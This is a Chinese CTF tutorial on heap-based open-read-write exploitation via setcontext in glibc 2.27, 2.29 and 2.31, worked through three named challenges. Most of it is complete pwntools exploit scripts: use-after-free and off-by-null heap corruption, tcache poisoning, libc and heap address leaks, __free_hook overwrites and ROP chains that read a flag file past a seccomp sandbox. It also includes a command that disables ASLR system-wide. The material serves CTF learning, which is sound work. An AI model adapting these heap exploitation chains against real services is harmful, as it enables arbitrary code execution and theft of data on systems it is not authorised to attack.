orw_heap(堆上的orw)

setcontext介绍

pwntools 自带了一款可以控制寄存器值的工具,它实质上就是依靠 setcontext 来实现的

libc低版本2.27:

1

一般我们将free_hook或者malloc_hook地址的内容替换为setcontext+53,也就是mov rsp, [rdi+0xA0]这行代码,之后调用钩子函数的时候就会从这行代码开始执行。从这行代码往后,我们可以看到汇编代码修改了很多寄存器的值,因此使用setcontext可以方便的设置环境上下文。
这里我们着重关注一下修改rsp和rcx寄存器的两行代码,mov rsp, [rdi+0xA0]和mov rcx, [rdi+0xA8]。修改rsp的值将会改变栈指针,因此我们就获得了控制栈的能力,修改rcx的值后接着有个push操作将rcx压栈,然后汇编指令按照顺序会执行截图中最后的retn操作,而retn的地址就是压入栈的rcx值,因此修改rcx就获得了控制程序流程的能力。

例题:ciscn_2021_silverwolf

3

2

1
2
3
4
5
6
7
8
9
10
11
12
unsigned __int64 sub_E60()
{
__int64 v1; // [rsp+0h] [rbp-18h]
unsigned __int64 v2; // [rsp+8h] [rbp-10h]

v2 = __readfsqword(0x28u);
__printf_chk(1LL, "Index: ");
__isoc99_scanf(&unk_1144, &v1);
if ( !v1 && buf )
free(buf);
return __readfsqword(0x28u) ^ v2;
}

UAF漏洞

开了sandbox程序中存在大量chunk

4

清空一个tcache来使用:

1
2
for i in range(7):
add(0x78)

这里给的libc-2.27比buu上的新,是有key检查的,free掉的chunk的bk指针被加了一个key值,free的时候会检查这个地方是否存在key,如果存在再去对其进行free会触发double free被检查出来

5

存的tcache头的fd指针,所以要将其覆盖掉

1
2
3
dele()
edit('a'*0x10)
dele()

接下来就可以泄露chunk地址,与tcache头chunk地址只有低三位不同,直接进行与运算

1
2
3
4
show()
io.recvuntil(b'Content: ')
heapbase = u64(io.recv(6).ljust(8,b'\x00')) & 0xfffffffffffff000
log.success("heapbase --> "+hex(heapbase))

6

接下来把这个chunk头申请出来也就可以进行对tcache_perthread_struct攻击污染,

1
2
3
4
add(0x78)
edit(p64(heapbase+0x10))
add(0x78)
add(0x78)

申请到之后把0x250对应的count值改为7,因为头chunk的size = 0x250,这样free头chunk就会直接被放进unsortedbin,再show泄露libc

1
2
edit(b'\x00'*0x23+b'\x07')
dele()

7

1
2
3
4
show()
leak_libc=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libc_base = leak_libc - 96 -0x10 - libc.sym['__malloc_hook']
log.success("base --> "+hex(libc_base))

我们需要用到函数的地址:

1
2
3
4
5
6
setcontext_53=libc_base+libc.sym['setcontext']+53
write_addr=libc_base+libc.sym['write']
free_hook=libc_base+libc.sym['__free_hook']
read_addr=libc_base+libc.sym['read']
#syscall=libc_base+libc.sym['read']+0xf
syscall=libc_base+libc.search(asm("syscall\nret")).next()

libc中的gadget地址:

1
2
3
4
5
pop_rdi_ret=libc_base+0x000000000002164f
pop_rsi_ret=libc_base+0x0000000000023a6a
pop_rdx_ret=libc_base+0x0000000000001b96
pop_rax_ret=libc_base+0x000000000001b500
ret=libc_base+0x00000000000008aa

接下来写ORW:

1
2
3
4
5
6
7
8
9
10
11
12
13
orw=p64(pop_rdi_ret)+p64(heapbase+0x1000)#flag
orw+=p64(pop_rsi_ret)+p64(0)
orw+=p64(pop_rax_ret)+p64(2)
orw+=p64(syscall) #直接调用open会破坏栈结构,使用syscall

orw+=p64(pop_rdi_ret)+p64(3)
orw+=p64(pop_rsi_ret)+p64(heapbase+0x3000)
orw+=p64(pop_rdx_ret)+p64(0x25)
orw+=p64(read_addr) #直接调用read不会破坏栈结构,可以直接使用

orw+=p64(pop_rdi_ret)+p64(1)
orw+=p64(write_addr) #直接调用write也不会破坏栈结构,可以直接使用

接下来继续污染tcache_perthread_struct,来伪造chunk用以存放flag,orw

1
2
3
4
5
6
7
payload=b'\x03'*0x40+p64(free_hook)+p64(0) # 0x20 0x30
payload+=p64(heapbase+0x1000) #flag 0x40
payload+=p64(heapbase+0x2000) #stack 0x50
payload+=p64(heapbase+0x20a0) #stack 0x60
payload+=p64(heapbase+0x3000) #orw 0x70
payload+=p64(heapbase+0x3000+0x60) #orw 0x80
edit(payload)

首先我们要伪造chunk写入free_hook,0x20的bin就行

0x30或者0x40的bin写’flag’,一个最大的可写0x78内容的chunk不够写下orw,所以用两个chunk拼接起来

我们需要让RSP 指向 ORW,rsp = rdi + 0xa0,我们选择rdi 地址为heapbase+0x2000,然后free释放,其地址作为参数传给free,也就是rdi,那么控制rsp的chunk地址应设置为heapbase+0x20a0

8

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
add(0x10)
edit(p64(setcontext_53)) #设置free_hook


add(0x30)
edit(b'./flag\x00') #open 的addr 写入字符“flag”

add(0x60)
edit(orw[:0x60]) #第一段orw

add(0x70)
edit(orw[0x60:]) #第二段orw

add(0x50)
edit(p64(heapbase+0x3000)+p64(ret)) #让RSP指向我们orw的写入地址 并填入ret 因为返回地址就是rdi + 0xa8位置的值

add(0x40) #控制rdi

dele() #最后释放我们最后add的chunk即可控制rdi

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
#coding:utf8  
from pwn import*

context(os='linux', arch='amd64', log_level='debug')

io = process(['/home/s4ndw1ch/Desktop/glibc-all-in-one/libs/2.27-3ubuntu1.5_amd64/ld-2.27.so', './silverwolf'], env={"LD_PRELOAD":'/home/s4ndw1ch/Desktop/glibc-all-in-one/libs/2.27-3ubuntu1.5_amd64/libc.so.6'})
#io = remote('node4.buuoj.cn',26508)
elf = ELF('./silverwolf')
libc = ELF('./glibc-all-in-one/libs/2.27-3ubuntu1.5_amd64/libc-2.27.so')


def add(size):
io.recvuntil(b"Your choice: ")
io.sendline(b'1')
io.recvuntil(b"Index: ")
io.sendline(b'0')
io.recvuntil(b"Size: ")
io.sendline(str(size))

def edit(content):
io.recvuntil(b"Your choice: ")
io.sendline(b'2')
io.recvuntil(b"Index: ")
io.sendline(b'0')
io.recvuntil(b"Content: ")
io.sendline(content)

def show():
io.recvuntil(b"Your choice: ")
io.sendline(b'3')
io.recvuntil(b"Index: ")
io.sendline(b'0')

def dele():
io.recvuntil(b"Your choice: ")
io.sendline(b'4')
io.recvuntil(b"Index: ")
io.sendline(b'0')

for i in range(7):
add(0x78)

dele()
edit('\x00'*10)
dele()
#gdb.attach(io)

show()
io.recvuntil(b'Content: ')
heapbase = u64(io.recv(6).ljust(8,b'\x00')) & 0xfffffffffffff000
log.success("heapbase --> "+hex(heapbase))

add(0x78)
edit(p64(heapbase+0x10))
add(0x78)
add(0x78) #申请出第一个chunk
#
edit(b'\x00'*0x23+b'\x07')
dele()

show()
leak_libc=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libc_base = leak_libc - 96 -0x10 - libc.sym['__malloc_hook']
log.success("base --> "+hex(libc_base))

setcontext_53=libc_base+libc.sym['setcontext']+53
write_addr=libc_base+libc.sym['write']
free_hook=libc_base+libc.sym['__free_hook']
read_addr=libc_base+libc.sym['read']
syscall=libc_base+libc.sym['read']+0xf
#syscall=libc_base+libc.search(asm("syscall\nret")).next()


pop_rdi_ret=libc_base+0x000000000002164f
pop_rsi_ret=libc_base+0x0000000000023a6a
pop_rdx_ret=libc_base+0x0000000000001b96
pop_rax_ret=libc_base+0x000000000001b500
ret=libc_base+0x00000000000008aa


orw=p64(pop_rdi_ret)+p64(heapbase+0x1000)#flag
orw+=p64(pop_rsi_ret)+p64(0)
orw+=p64(pop_rax_ret)+p64(2)
orw+=p64(syscall)

orw+=p64(pop_rdi_ret)+p64(3)
orw+=p64(pop_rsi_ret)+p64(heapbase+0x3000)
orw+=p64(pop_rdx_ret)+p64(0x25)
orw+=p64(read_addr) #直接调用read不会破坏栈结构,可以直接使用

orw+=p64(pop_rdi_ret)+p64(1)
orw+=p64(write_addr) #直接调用write也不会破坏栈结构,可以直接使用
payload=b'\x02'*0x40+p64(free_hook)+p64(0)
payload+=p64(heapbase+0x1000) #flag 0x40
payload+=p64(heapbase+0x2000) #stack 0x50
payload+=p64(heapbase+0x20a0) #stack 0x60
payload+=p64(heapbase+0x3000) #orw 0x70
payload+=p64(heapbase+0x3000+0x60) #orw 0x80
edit(payload)

add(0x10)
edit(p64(setcontext_53))
print("free_hook:",hex(free_hook))

add(0x30)
edit(b'./flag\x00')

add(0x60)
edit(orw[:0x60])

add(0x70)
edit(orw[0x60:])

add(0x50)
edit(p64(heapbase+0x3000)+p64(ret))

add(0x40)

dele()

io.interactive()

9

libc高版本2.29:

例题:Balsn2019_PlainText

10

11

这里开了PIE,建议先关掉ASLR,因为这题涉及到2.29unlink,开着pie会非常影响我们调试,且到free触发unlink的时候只有1/16的概率成功,因为off-by-null会覆盖一个字节为0,例如我们想修改fd指针地址为0x**028

我们修改低字节为0x28时,由于off-by-null的缘故会覆盖下一个字节为\x00,如果开启pie的情况下,会有半个字节是随机的,也就是1/16的概率是0,所以我们先关闭本地的ASLR,PIE也就失效了,重启之后会重新开启

1
sudo echo 0 > /proc/sys/kernel/randomize_va_space

这题的利用还是有难度的,前面的unlink利用这里就不展开叙述了,感兴趣的师傅可以去看看2.29的off-by-null的利用手法,主要还是学一下2.29的沙箱绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
def add(size,content):
io.recvuntil(b'Choice:')
io.sendline(str(1))
io.recvuntil(b'Size:')
io.sendline(str(size))
io.recvuntil(b'Content:')
io.send(content)

def free(index):
io.recvuntil(b'Choice:')
io.sendline(str(2))
io.recvuntil(b'Idx:')
io.sendline(str(index))

def show(index):
io.recvuntil(b'Choice:')
io.sendline(str(3))
io.recvuntil(b'Idx:')
io.sendline(str(index))


for i in range(16):
add(0x10,b'0x10')
for i in range(16):
add(0x60,b'0x60')
for i in range(9):
add(0x70,b'0x70')
for i in range(5):
add(0xC0,b'0xc0')
for i in range(2):
add(0xE0,b'0xe0')

add(0x310,b'idx_48')
add(0x3a50,b'idx_49')
add(0xff0,b'idx_50-largebin')
add(0x18,b'aaaa')
free(50)
add(0x2000,b'idx_50')
add(0x28,p64(0)+p64(0x241)+b'\x28')


add(0x28,'idx_53') # 53
add(0xf0,'idx_54') # 54
add(0x28,'idx_55') # 55

add(0x28,'idx_56') # 56
add(0x28,'idx_57') # 57
add(0x28,'idx_58') # 58
add(0x28,'idx_59') # 59
add(0x4f0,'idx_60') # 60 => 0x555555760250


for i in range(61,61+7):
add(0x28,'idx_'+str(i))

for i in range(61,61+7):
free(i)


free(53) # 0x555555760030
free(59) # 0x555555760220
free(52) # fake_chunk => 0x555555760000


add(0x28,"idx_52") # idx_52
add(0x28,"idx_53")
add(0x28,"idx_59")
for i in range(61,61+4):
add(0x28,'idx_'+str(i))


add(0x28,p8(0x10)) # idx_52-addr -> idx_65
add(0x28,p8(0x10)) # idx_53-addr -> idx_66

add(0x28,b'a' * 0x20 + p64(0x240)) # idx_59-addr -> idx_67


#触发unlink
free(60)

add(0x140,b"fake_chunk") # idx_60 0x555555760010 - 0x555555760160
show(55) # idx_55 -> 0x555555760160
libc_base = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-96 -0x10 -libc.sym["__malloc_hook"]
success("libc_base =>"+hex(libc_base))
free_hook = libc_base + libc.sym["__free_hook"]
# heap_base
add(0x28,"idx_68") # idx_55-addr -> idx_68

add(0x28,"idx_69") # idx_56-addr -> idx_69
free(69)
free(68)

show(55)
#heap_base = u64(io.recvuntil(b'\x0a')[-7:-1].ljust(8,b'\x00'))&0xfffffffffffff000
io.recv(1) #这里泄露堆地址的时候会先接收到一个字节'\x20',没明白是怎么回事,如果有大佬知道,希望能和大佬交流

heap_base = u64(io.recv(6).ljust(8,"\x00"))&0xfffffffffffff000
success("heap_base => "+hex(heap_base))

我们完成libc和heap地址的泄露之后就可以布置orw了,首先控制free_hook

1
2
3
4
5
6
7
add(0x28,p64(0)*2) # idx_55-addr -> idx_68
add(0x28,p64(1)*2) # idx_56-addr -> idx_69
add(0x28,p64(2)*2) # idx_57-addr -> idx_70
free(67)

add(0x60,p64(0)*5+p64(0x31)+p64(free_hook))
add(0x28,'idx_71') # idx_71

free_hook里填什么,2.27下我们直接填入setcontext_53,但是2.29下由之前的rdi,变成了rdx

12

我们用ropper找一下和rdx,rdi有关的gadget

ropper -f libc-2.29.so –search ‘mov rdx’|grep ‘rdi + 8’

13

有两条gadget我们可以使用

我们选择第二条

准备好我们需要用到的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
mov_rdx_jmp = libc_base + 0x12be97
add(0x28,p64(mov_rdx_jmp)) # idx_72 mov rdx, qword ptr [rdi + 8]; mov rax, qword ptr [rdi]; mov rdi, rdx; jmp rax;
setcontext_addr = libc_base + libc.sym["setcontext"]+53
pop_rdi_ret = libc_base + 0x26542
pop_rsi_ret = libc_base + 0x26f9e
pop_rdx_ret = libc_base + 0x12bda6
syscall_ret = libc_base + 0xcf6c5
pop_rax_ret = libc_base + 0x47cf8
ret = libc_base + 0x2535f

str_flag_file = heap_base + 0x270 + 4 * 0x8 + 0xB8 #写入字符'flag'的地址 为什么要+4 * 0x8 + 0xB8是根据我们布置的payload决定
str_flag_addr = heap_base + 0x1000
payload_addr = heap_base + 0x270 #写入payload的地址 再申请chunk时的malloc指针就是heap_base+0x270的位置

那么接下来思考如何构造payload

最先填入的也就是free时,rdi的位置,我们的gadget中mov rax ,qword pte [rdi]; …… jmp rax,那么这里我们就可以填入setcontext的地址让其被执行

1
payload = p64(setcontext_addr)

接下来就是rdi+8的位置了,rdx就会被赋予这个地址存放的值,我们希望控制RSP去指向我们构造的orw

RSP = RDX + 0xA0,如果我们把orw_chain 地址写在rdi+0x10的地方那么也就是payload_addr + 0x10,那么RDX就应该为payload_addr + 0x10-0xA0,也就是rdi +8位置我们需要填的值

1
2
3
payload += p64(payload_addr - 0xA0 + 0x10)
payload += p64(payload_addr + 0x20)
payload += p64(ret)

orw_chain:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
orw_chain = p64(pop_rdi_ret) + p64(str_flag_file)# name = "./flag"
orw_chain += p64(pop_rsi_ret) + p64(0)
orw_chain += p64(pop_rdx_ret) + p64(0)
orw_chain += p64(pop_rax_ret) + p64(2) + p64(syscall_ret) # sys_open


orw_chain += p64(pop_rdi_ret) + p64(3) # fd = 3
orw_chain += p64(pop_rsi_ret) + p64(str_flag_addr) # buf
orw_chain += p64(pop_rdx_ret) + p64(0x30) # len
orw_chain += p64(libc_base + libc.symbols["read"])

orw_chain += p64(pop_rdi_ret) + p64(1) # fd = 1
orw_chain += p64(pop_rsi_ret) + p64(str_flag_addr) # buf
orw_chain += p64(pop_rdx_ret) + p64(0x30) # len
orw_chain += p64(libc_base + libc.symbols["write"])

payload += orw_chain
payload += './flag\x00'
add(len(payload)+0x10,payload) # idx_73

free(73)

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
#coding:utf8  
from pwn import *
context(os = 'linux',arch = 'amd64', log_level = 'debug')

io = process('./plaintext')


libc = ELF('./libc-2.29_plain.so')
def add(size,content):
io.recvuntil(b'Choice:')
io.sendline(str(1))
io.recvuntil(b'Size:')
io.sendline(str(size))
io.recvuntil(b'Content:')
io.send(content)

def free(index):
io.recvuntil(b'Choice:')
io.sendline(str(2))
io.recvuntil(b'Idx:')
io.sendline(str(index))

def show(index):
io.recvuntil(b'Choice:')
io.sendline(str(3))
io.recvuntil(b'Idx:')
io.sendline(str(index))


for i in range(16):
add(0x10,b'0x10')
for i in range(16):
add(0x60,b'0x60')
for i in range(9):
add(0x70,b'0x70')
for i in range(5):
add(0xC0,b'0xc0')
for i in range(2):
add(0xE0,b'0xe0')

add(0x310,b'idx_48')
add(0x3a50,b'idx_49')
add(0xff0,b'idx_50-largebin')
add(0x18,b'aaaa')
free(50)
add(0x2000,b'idx_50')
add(0x28,p64(0)+p64(0x241)+b'\x28')


add(0x28,'idx_53') # 53
add(0xf0,'idx_54') # 54
add(0x28,'idx_55') # 55

add(0x28,'idx_56') # 56
add(0x28,'idx_57') # 57
add(0x28,'idx_58') # 58
add(0x28,'idx_59') # 59
add(0x4f0,'idx_60') # 60 => 0x555555760250


for i in range(61,61+7):
add(0x28,'idx_'+str(i))

for i in range(61,61+7):
free(i)


free(53) # 0x555555760030
free(59) # 0x555555760220
free(52) # fake_chunk => 0x555555760000


add(0x28,"idx_52") # idx_52
add(0x28,"idx_53")
add(0x28,"idx_59")
for i in range(61,61+4):
add(0x28,'idx_'+str(i))


add(0x28,p8(0x10)) # idx_52-addr -> idx_65
add(0x28,p8(0x10)) # idx_53-addr -> idx_66

add(0x28,b'a' * 0x20 + p64(0x240)) # idx_59-addr -> idx_67


#触发unlink
free(60)

add(0x140,b"fake_chunk") # idx_60 0x555555760010 - 0x555555760160
show(55) # idx_55 -> 0x555555760160
libc_base = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-96 -0x10 -libc.sym["__malloc_hook"]
success("libc_base =>"+hex(libc_base))
free_hook = libc_base + libc.sym["__free_hook"]
# heap_base
add(0x28,"idx_68") # idx_55-addr -> idx_68

add(0x28,"idx_69") # idx_56-addr -> idx_69
free(69)
free(68)

show(55)
#heap_base = u64(io.recvuntil(b'\x0a')[-7:-1].ljust(8,b'\x00'))&0xfffffffffffff000
io.recv(1)

heap_base = u64(io.recv(6).ljust(8,"\x00"))&0xfffffffffffff000
success("heap_base => "+hex(heap_base))
add(0x28,p64(0)*2) # idx_55-addr -> idx_68
add(0x28,p64(1)*2) # idx_56-addr -> idx_69
add(0x28,p64(2)*2) # idx_57-addr -> idx_70
free(67)

add(0x60,p64(0)*5+p64(0x31)+p64(free_hook))
add(0x28,'idx_71') # idx_71

mov_rdx_jmp = libc_base + 0x12be97
add(0x28,p64(mov_rdx_jmp)) # idx_72 mov rdx, qword ptr [rdi + 8]; mov rax, qword ptr [rdi]; mov rdi, rdx; jmp rax;
setcontext_addr = libc_base + libc.sym["setcontext"]+53
pop_rdi_ret = libc_base + 0x26542
pop_rsi_ret = libc_base + 0x26f9e
pop_rdx_ret = libc_base + 0x12bda6
syscall_ret = libc_base + 0xcf6c5
pop_rax_ret = libc_base + 0x47cf8
ret = libc_base + 0x2535f

str_flag_file = heap_base + 0x270 + 4 * 0x8 + 0xB8
str_flag_addr = heap_base + 0x1000
payload_addr = heap_base + 0x270

payload = p64(setcontext_addr)
payload += p64(payload_addr - 0xA0 + 0x10)
payload += p64(payload_addr + 0x20)
payload += p64(ret)


orw_chain = p64(pop_rdi_ret) + p64(str_flag_file)# name = "./flag"
orw_chain += p64(pop_rsi_ret) + p64(0)
orw_chain += p64(pop_rdx_ret) + p64(0)
orw_chain += p64(pop_rax_ret) + p64(2) + p64(syscall_ret)

orw_chain += p64(pop_rdi_ret) + p64(3)
orw_chain += p64(pop_rsi_ret) + p64(str_flag_addr)
orw_chain += p64(pop_rdx_ret) + p64(0x30)
orw_chain += p64(libc_base + libc.symbols["read"])

orw_chain += p64(pop_rdi_ret) + p64(1)
orw_chain += p64(pop_rsi_ret) + p64(str_flag_addr)
orw_chain += p64(pop_rdx_ret) + p64(0x30)
orw_chain += p64(libc_base + libc.symbols["write"])

payload += orw_chain
payload += './flag\x00'
add(len(payload)+0x10,payload) # idx_73

free(73)
io.interactive()

14

libc高版本2.31:

例题:DASCTF2021 ParentSimulator

程序有检查root权限,涉及到chroot jail escape,由于我们是学习ORW,直接patch掉即可

解法 1:gadget+setcontext

2.31我们能利用的gadget

15

本题漏洞是UAF,借此来泄露libc和heap_base

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
def add(idx, gender, name):
io.sendlineafter(">> ", '1')
io.sendlineafter("Please input index?\n", str(idx))
io.sendlineafter("Please choose your child's gender.\n1.Boy\n2.Girl:\n", str(gender))
io.sendafter("Please input your child's name:\n", name)

def edit_name(idx, name):
io.sendlineafter(">> ", '2')
io.sendlineafter("Please input index?", str(idx))
io.sendafter("Please input your child's new name:", name)

def show(idx):
io.sendlineafter(">> ", '3')
io.sendlineafter("Please input index?", str(idx))

def free(idx):
io.sendlineafter(">> ", '4')
io.sendlineafter("Please input index?", str(idx))

def edit_desc(idx, desc):
io.sendlineafter(">> ", '5')
io.sendlineafter("Please input index?", str(idx))
io.sendafter("Please input your child's description:", desc)

def change_gender(idx, gender):
io.sendafter(">> ", "666")
io.sendafter("Please input index?", str(idx))
io.recvuntil("Current gender:")
address = u64(io.recvuntil(b'\n', drop=True).ljust(8, b'\x00'))
io.sendafter("Please rechoose your child's gender.\n1.Boy\n2.Girl:", str(gender))
return address


for i in range(10):
add(i,1,str(i))

for i in range(7):
free(6-i)


free(8)
free(7)

写好自动化交互函数首先申请10个chunk,释放chunk填满tcachebin,然后将chunk7,chunk8free进unsortedbin16

然后申请一个tcachebin出来,再把chunk8 free进tcachebin,那么再申请一个chunk时就是chunk8的地址,再把chunk8释放,我们就可以泄露地址了,chunk8的bk指向的头chunk的地址+0x10

1
2
3
4
5
6
7
8
9
10
11
add(0,1,'1')
free(8)


add(0,1,'1')
free(8)

show(0)
io.recvuntil("nder: ")
heap_base= u64(io.recv(6).ljust(8,b'\x00'))
success('heap_base --->'+hex(heap_base))

此时把所有chunk申请回来并且切割unsortedbin让chunk8的fd,bk指向unsortedbin,泄露libc

1
2
3
4
5
6
for i in range(1,9):
add(i,1,'a') #chunk1 = old chunk8
show(0)
io.recvuntil("Name: ")
libc_base= u64(io.recv(6).ljust(8,b'\x00'))-96-0x10-libc.sym['__malloc_hook']
success('libc_base --->'+hex(libc_base))
1
2
3
4
5
6
7
8
9
10
#需要用到的地址
mov_rdx_gadget = libc_base + 0x1547a0
free_hook = libc_base + libc.sym['__free_hook']
setcontext_61 = libc_base + libc.sym['setcontext'] + 61
pop_rdi_ret = libc_base + 0x26b72
pop_rsi_ret = libc_base + 0x27529
pop_rdx_r12_ret = libc_base + 0x11c1e1
open_addr = libc_base + libc.sym['open']
read_addr = libc_base + libc.sym['read']
write_addr = libc_base + libc.sym['write']
1
2
3
4
5
6
7
8
#申请出unsorted bin中最后的chunk8
add(9,1,'a') #new chunk9 = old chunk8
free(3) #释放old_chunk2.
free(1) #此时在tcache中old_chunk8指向old_chunk2

edit_name(0,p64(heap_base+0x380)[:-1])#修改chunk8的fd指向old_chunk1头-0x10
add(8,1,'a')#chunk8变回chunk8
add(9,1,'a')#申请fake_chunk
1
2
3
4
5
6
7
payload=p64(0)+p64(0x111)     #start from 3a0   old_chunk1(new chunk2)
payload+=p64(0)+p64(heap_base+0x3a8-0x18)#在new chunk2的gender字段放入old chunk1的prev_size 3a0

payload+=p64(setcontext_61) #old chunk1+0x18 des
payload+=b'\x00'*(0xa0-len(payload)) + p64(heap_base+0x5d0)+p64(pop_rdi_ret) # heap_base+0x5d0 = chunk4 malloc addr ->orwchain
edit_desc(9,payload)
#我们最后选择free这个new chunk2,rdx = *rdi+8也就是heap_base+0x3a8-0x18就是payload的起始位置,那么在其+0xa0的位置要填入我们orwchain的地址,我们把chain写入chunk4 的位置heap_base+0x5d0
1
2
3
4
5
6
7
#布置free_hook
free(7)
free(8)

edit_name(0,p64(free_hook)[:-1])#修改chunk8的fd指向free_hook
add(8,1,'a')#将chunk8申请回来
add(7,1,p64(mov_rdx_gadget)[:-1])#在free_hook上布置gadget
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#写orwchain写进chunk4,再free2即可,openflag的地址是chunk8的地址
orw=p64(heap_base+0xb10)#flag b20
orw+=p64(pop_rsi_ret)+p64(0)
orw+=p64(open_addr)
orw+=p64(pop_rdi_ret)+p64(4)
orw+=p64(pop_rsi_ret)+p64(heap_base+0x1000)
orw+=p64(pop_rdx_r12_ret)+p64(0x30)+p64(0x30)
orw+=p64(read_addr)
orw+=p64(pop_rdi_ret)+p64(1)
orw+=p64(pop_rdx_r12_ret)+p64(0x30)+p64(0x30)
orw+=p64(write_addr)


edit_desc(4,orw)

edit_name(0,'./flag\x00') #8
free(2)

exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
# encoding=utf-8
from pwn import *
context(os = 'linux', arch = 'amd64', log_level = 'debug')
#io = process(['/home/giantbranch/Desktop/glibc-all-in-one/libs/2.31-0ubuntu9_amd64/ld-2.31.so', './pwn'], env={"LD_PRELOAD":'/home/giantbranch/Desktop/glibc-all-in-one/libs/2.31-0ubuntu9_amd64/libc.so.6'})
io = process('./pwn')
libc = ELF("./libc-2.31.so")

def add(idx, gender, name):
io.sendlineafter(">> ", '1')
io.sendlineafter("Please input index?\n", str(idx))
io.sendlineafter("Please choose your child's gender.\n1.Boy\n2.Girl:\n", str(gender))
io.sendafter("Please input your child's name:\n", name)

def edit_name(idx, name):
io.sendlineafter(">> ", '2')
io.sendlineafter("Please input index?", str(idx))
io.sendafter("Please input your child's new name:", name)

def show(idx):
io.sendlineafter(">> ", '3')
io.sendlineafter("Please input index?", str(idx))

def free(idx):
io.sendlineafter(">> ", '4')
io.sendlineafter("Please input index?", str(idx))

def edit_desc(idx, desc):
io.sendlineafter(">> ", '5')
io.sendlineafter("Please input index?", str(idx))
io.sendafter("Please input your child's description:", desc)

def change_gender(idx, gender):
io.sendafter(">> ", "666")
io.sendafter("Please input index?", str(idx))
io.recvuntil("Current gender:")
address = u64(io.recvuntil(b'\n', drop=True).ljust(8, b'\x00'))
io.sendafter("Please rechoose your child's gender.\n1.Boy\n2.Girl:", str(gender))
return address

for i in range(10):
add(i,1,str(i))

for i in range(7):
free(6-i)


free(8)
free(7)

add(0,1,'1')
free(8)


add(0,1,'1')
free(8)

show(0)
io.recvuntil("nder: ")
heap_base= u64(io.recv(6).ljust(8,b'\x00'))
success('heap_base --->'+hex(heap_base))


for i in range(1,9):
add(i,1,'a')
show(0)
io.recvuntil("Name: ")
libc_base= u64(io.recv(6).ljust(8,b'\x00'))-96-0x10-libc.sym['__malloc_hook']
success('libc_base --->'+hex(libc_base))





mov_rdx_gadget = libc_base + 0x1547a0
free_hook = libc_base + libc.sym['__free_hook']
setcontext_61 = libc_base + libc.sym['setcontext'] + 61
pop_rdi_ret = libc_base + 0x26b72
pop_rsi_ret = libc_base + 0x27529
pop_rdx_r12_ret = libc_base + 0x11c1e1
open_addr = libc_base + libc.sym['open']
read_addr = libc_base + libc.sym['read']
write_addr = libc_base + libc.sym['write']


add(9,1,'a') #new chunk9 = old chunk8
free(3) #释放old_chunk2.
free(1) #此时在tcache中old_chunk8指向old_chunk2

edit_name(0,p64(heap_base+0x380)[:-1])#修改chunk8的fd指向old_chunk1头-0x10
add(8,1,'a')#chunk8变回chunk8
add(9,1,'a')#申请fake_chunk


payload=p64(0)+p64(0x111) #start from 3a0 old_chunk1(new chunk2)
payload+=p64(0)+p64(heap_base+0x3a8-0x18)#在new chunk2的gender字段放入old chunk1的prev_size 3a0

payload+=p64(setcontext_61) #old chunk1+0x18 des
payload+=b'\x00'*(0xa0-len(payload)) + p64(heap_base+0x5d0)+p64(pop_rdi_ret) # heap_base+0x5d0 = chunk4 malloc addr ->orwchain
edit_desc(9,payload)

free(7)
free(8)

edit_name(0,p64(free_hook)[:-1])#修改chunk8的fd指向free_hook
add(8,1,'a')#将chunk8申请回来
add(7,1,p64(mov_rdx_gadget)[:-1])#在free_hook上布置gadget



orw=p64(heap_base+0xb10)#flag b20
orw+=p64(pop_rsi_ret)+p64(0)
orw+=p64(open_addr)
orw+=p64(pop_rdi_ret)+p64(4)
orw+=p64(pop_rsi_ret)+p64(heap_base+0x1000)
orw+=p64(pop_rdx_r12_ret)+p64(0x30)+p64(0x30)
orw+=p64(read_addr)
orw+=p64(pop_rdi_ret)+p64(1)
orw+=p64(pop_rdx_r12_ret)+p64(0x30)+p64(0x30)
orw+=p64(write_addr)

edit_desc(4,orw)

edit_name(0,'./flag\x00') #8:b20
free(2)

io.interactive()

17